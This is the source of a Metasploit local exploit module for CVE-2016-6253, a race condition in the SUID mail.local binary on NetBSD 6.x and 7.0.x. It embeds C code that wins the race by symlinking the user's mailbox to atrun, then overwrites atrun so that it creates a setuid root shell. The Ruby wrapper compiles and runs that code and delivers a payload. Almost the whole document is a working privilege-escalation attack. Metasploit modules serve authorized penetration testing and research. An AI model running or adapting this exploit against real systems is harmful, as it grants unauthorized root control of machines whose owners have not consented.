## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = GreatRanking include Msf::Post::File include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'NetBSD mail.local Privilege Escalation', 'Description' => %q{ This module attempts to exploit a race condition in mail.local with SUID bit set on: NetBSD 7.0 - 7.0.1 (verified on 7.0.1) NetBSD 6.1 - 6.1.5 NetBSD 6.0 - 6.0.6 Successful exploitation relies on a crontab job with root privilege, which may take up to 10min to execute. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die ', # Module 'akat1' # Discovery ], 'DisclosureDate' => '2016-07-07', 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'SessionTypes' => %w[shell meterpreter], 'Privileged' => true, 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic openssl' } }, 'Targets' => [ [ 'Automatic Target', {}] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'WfsDelay' => 603 }, # can take 10min for cron to kick 'References' => [ [ 'URL', 'http://akat1.pl/?id=2'], [ 'EDB', '40141'], [ 'CVE', '2016-6253'], [ 'URL', 'http://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2016-006.txt.asc'] ], 'Notes' => { 'Reliability' => [REPEATABLE_SESSION], 'Stability' => [OS_RESOURCE_LOSS], 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] } ) ) register_options([ OptString.new('ATRUNPATH', [true, 'Location of atrun binary', '/usr/libexec/atrun']), OptString.new('MAILDIR', [true, 'Location of mailboxes', '/var/mail']), OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), OptInt.new('ListenerTimeout', [true, 'Number of seconds to wait for the exploit', 603]) ]) end def exploit # lots of this file's format is based on pkexec.rb # direct copy of code from exploit-db main = %q{ // Source: http://akat1.pl/?id=2 #include #include #include #include #include #include #include #include #define ATRUNPATH "/usr/libexec/atrun" #define MAILDIR "/var/mail" static int overwrite_atrun(void) { char *script = "#! /bin/sh\n" "cp /bin/ksh /tmp/ksh\n" "chmod +s /tmp/ksh\n"; size_t size; FILE *fh; int rv = 0; fh = fopen(ATRUNPATH, "wb"); if (fh == NULL) { rv = -1; goto out; } size = strlen(script); if (size != fwrite(script, 1, strlen(script), fh)) { rv = -1; goto out; } out: if (fh != NULL && fclose(fh) != 0) rv = -1; return rv; } static int copy_file(const char *from, const char *dest, int create) { char buf[1024]; FILE *in = NULL, *out = NULL; size_t size; int rv = 0, fd; in = fopen(from, "rb"); if (create == 0) out = fopen(dest, "wb"); else { fd = open(dest, O_WRONLY | O_EXCL | O_CREAT, S_IRUSR | S_IWUSR); if (fd == -1) { rv = -1; goto out; } out = fdopen(fd, "wb"); } if (in == NULL || out == NULL) { rv = -1; goto out; } while ((size = fread(&buf, 1, sizeof(buf), in)) > 0) { if (fwrite(&buf, 1, size, in) != 0) { rv = -1; goto out; } } out: if (in != NULL && fclose(in) != 0) rv = -1; if (out != NULL && fclose(out) != 0) rv = -1; return rv; } int main() { pid_t pid; uid_t uid; struct stat sb; char *login, *mailbox, *mailbox_backup = NULL, *atrun_backup, *buf; umask(0077); login = getlogin(); if (login == NULL) err(EXIT_FAILURE, "who are you?"); uid = getuid(); asprintf(&mailbox, MAILDIR "/%s", login); if (mailbox == NULL) err(EXIT_FAILURE, NULL); if (access(mailbox, F_OK) != -1) { /* backup mailbox */ asprintf(&mailbox_backup, "/tmp/%s", login); if (mailbox_backup == NULL) err(EXIT_FAILURE, NULL); } if (mailbox_backup != NULL) { fprintf(stderr, "[+] backup mailbox %s to %s\n", mailbox, mailbox_backup); if (copy_file(mailbox, mailbox_backup, 1)) err(EXIT_FAILURE, "[-] failed"); } /* backup atrun(1) */ atrun_backup = strdup("/tmp/atrun"); if (atrun_backup == NULL) err(EXIT_FAILURE, NULL); fprintf(stderr, "[+] backup atrun(1) %s to %s\n", ATRUNPATH, atrun_backup); if (copy_file(ATRUNPATH, atrun_backup, 1)) err(EXIT_FAILURE, "[-] failed"); /* win the race */ fprintf(stderr, "[+] try to steal %s file\n", ATRUNPATH); switch (pid = fork()) { case -1: err(EXIT_FAILURE, NULL); /* NOTREACHED */ case 0: asprintf(&buf, "echo x | /usr/libexec/mail.local -f xxx %s " "2> /dev/null", login); for(;;) system(buf); /* NOTREACHED */ default: umask(0022); for(;;) { int fd; unlink(mailbox); symlink(ATRUNPATH, mailbox); sync(); unlink(mailbox); fd = open(mailbox, O_CREAT, S_IRUSR | S_IWUSR); close(fd); sync(); if (lstat(ATRUNPATH, &sb) == 0) { if (sb.st_uid == uid) { kill(pid, 9); fprintf(stderr, "[+] won race!\n"); break; } } } break; } (void)waitpid(pid, NULL, 0); if (mailbox_backup != NULL) { /* restore mailbox */ fprintf(stderr, "[+] restore mailbox %s to %s\n", mailbox_backup, mailbox); if (copy_file(mailbox_backup, mailbox, 0)) err(EXIT_FAILURE, "[-] failed"); if (unlink(mailbox_backup) != 0) err(EXIT_FAILURE, "[-] failed"); } /* overwrite atrun */ fprintf(stderr, "[+] overwriting atrun(1)\n"); if (chmod(ATRUNPATH, 0755) != 0) err(EXIT_FAILURE, NULL); if (overwrite_atrun()) err(EXIT_FAILURE, NULL); fprintf(stderr, "[+] waiting for atrun(1) execution...\n"); for(;;sleep(1)) { if (access("/tmp/ksh", F_OK) != -1) break; } /* restore atrun */ fprintf(stderr, "[+] restore atrun(1) %s to %s\n", atrun_backup, ATRUNPATH); if (copy_file(atrun_backup, ATRUNPATH, 0)) err(EXIT_FAILURE, "[-] failed"); if (unlink(atrun_backup) != 0) err(EXIT_FAILURE, "[-] failed"); if (chmod(ATRUNPATH, 0555) != 0) err(EXIT_FAILURE, NULL); fprintf(stderr, "[+] done! Don't forget to change atrun(1) " "ownership.\n"); fprintf(stderr, "Enjoy your shell:\n"); execl("/tmp/ksh", "ksh", NULL); return 0; } } # patch in our variable maildir and atrunpath main.gsub!(%r{#define ATRUNPATH "/usr/libexec/atrun"}, "#define ATRUNPATH \"#{datastore['ATRUNPATH']}\"") main.gsub!(%r{#define MAILDIR "/var/mail"}, "#define MAILDIR \"#{datastore['MAILDIR']}\"") executable_path = "#{datastore['WritableDir']}/#{rand_text_alpha(8)}" payload_file = rand_text_alpha(8).to_s payload_path = "#{datastore['WritableDir']}/#{payload_file}" vprint_status("Writing Payload to #{payload_path}") # patch in to run our payload as part of ksh main.gsub!(%r{execl\("/tmp/ksh", "ksh", NULL\);}, "execl(\"/tmp/ksh\", \"ksh\", \"#{payload_path}\", NULL);") write_file(payload_path, payload.encoded) cmd_exec("chmod 555 #{payload_path}") register_file_for_cleanup(payload_path) print_status "Writing exploit to #{executable_path}.c" # clean previous bad attempts to prevent c code from exiting rm_f executable_path rm_f '/tmp/atrun' whoami = cmd_exec('whoami') rm_f "/tmp/#{whoami}" write_file("#{executable_path}.c", main) print_status("Compiling #{executable_path}.c via gcc") output = cmd_exec("/usr/bin/gcc -o #{executable_path}.out #{executable_path}.c") output.each_line { |line| vprint_status(line.chomp) } print_status('Starting the payload handler...') handler({}) print_status("Executing at #{Time.now}. May take up to 10min for callback") output = cmd_exec("chmod +x #{executable_path}.out; #{executable_path}.out") output.each_line { |line| vprint_status(line.chomp) } # our sleep timer stime = Time.now.to_f Rex.sleep(1) until session_created? || stime + datastore['ListenerTimeout'] < Time.now.to_f print_status(Time.now.to_s) register_file_for_cleanup(executable_path) register_file_for_cleanup("#{executable_path}.out") print_status("Remember to run: chown root:wheel #{datastore['ATRUNPATH']}") end end